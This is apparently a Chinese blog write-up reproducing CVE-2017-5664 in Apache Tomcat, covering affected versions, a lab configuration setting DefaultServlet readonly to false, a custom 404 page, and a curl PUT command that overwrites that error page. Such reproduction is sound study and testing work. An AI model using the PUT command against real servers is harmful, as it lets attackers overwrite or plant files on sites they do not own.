简介

Java Servlet规范中的错误页面机制有一个要求:当出现错误并且已为该错误配置了错误页面时,原始请求和响应会被传递给错误页面。这就意味着将使用原始的HTTP方法将请求传递给错误页面。如果错误页面是一个静态文件,我们期望的行为是,就像处理GET请求一样,提供文件的内容,而不管实际的HTTP方法是什么。

然而,在Apache Tomcat的某些版本中存在一个问题。具体地说,在9.0.0.M1到9.0.0.M20、8.5.0到8.5.14、8.0.0.RC1到8.0.43以及7.0.0到7.0.77版本的Default Servlet中,它未能按照期望的方式处理静态错误页面。这可能导致一些意外和不希望的结果,特别是如果DefaultServlet被配置为允许写入,那么可能会替换或删除自定义错误页面。

对于其他用户提供的错误页面,有一些需要注意的事项:

  1. 对于JSP,除非明确编码了其他方式,它们会忽略HTTP方法。所以,如果将JSP用作错误页面,必须确保它们将任何错误调度看作是GET请求,而不管实际的方法是什么类型的请求。
  2. 对于自定义Servlet,默认情况下,它们生成的响应会取决于HTTP方法。所以,如果将自定义Servlet用作错误页面,必须确保它们将任何错误调度看作是GET请求,而不管实际的方法是什么类型的请求。

复现

准备工作

准备tomcat

CVE-2017-5664漏洞影响的Apache Tomcat版本如下

  • Apache Tomcat 9.0.0.M1至 9.0.0.M20

  • Apache Tomcat 8.5.0 至 8.5.14

  • Apache Tomcat 8.0.0.RC1 至 8.0.43

  • Apache Tomcat 7.0.0 至 7.0.77

本次复现我们选择tomcat-8.0.39进行复现

修改tomcat配置文件

conf/web.xml中找到DefaultServlet标签并添加readonly属性为false

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>true</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
<!-- 复现CVE-2017-5664-->
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
</servlet>

conf/web.xml中的web-app标签中配置自定义的404页面

1
2
3
4
<error-page>
<error-code>404</error-code>
<location>/404.html</location>
</error-page>

自定义的404.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>404 - Page Not Found</title>
<style>
body {
font-family: 'Arial', sans-serif;
background-color: #eeeeee;
color: #333;
text-align: center;
margin: 100px;
}

.container {
max-width: 600px;
margin: auto;
}

h1 {
color: #d9534f;
}

p {
font-size: 18px;
margin-top: 20px;
color: #777;
}

img {
width: 100%;
max-width: 400px;
margin-top: 20px;
}
.cat{
width: 100%;
height: 1450px;
}
</style>
</head>
<body>
<div class="container">
<h1>Oops! Page Not Found</h1>
<p>Sorry, the page you are looking for might be in another castle.</p>
<p>Modify 404 Page</p>
<p>Let's catch the cat!</p>
</div>
<iframe class="cat" src="https://faixin.cn/games/cat/" frameborder="0"></iframe>
</body>
</html>

将404.html放进webapps/ROOT

复现步骤

浏览器访问tomcat主页
image

访问一个不存在的url
image

可以看到成功跳转到了我们自定义的404页面

下面我们向这个页面发送PUT请求提交我们自己重写的404.html或者任意文件

1
curl -i http://localhost:8089/nonExistURL -T /path/to/your/404.html

可以看到404页面已经被重写
image

进入tomcat目录查看
image
可以看到文件已经被写入

覆盖操作同理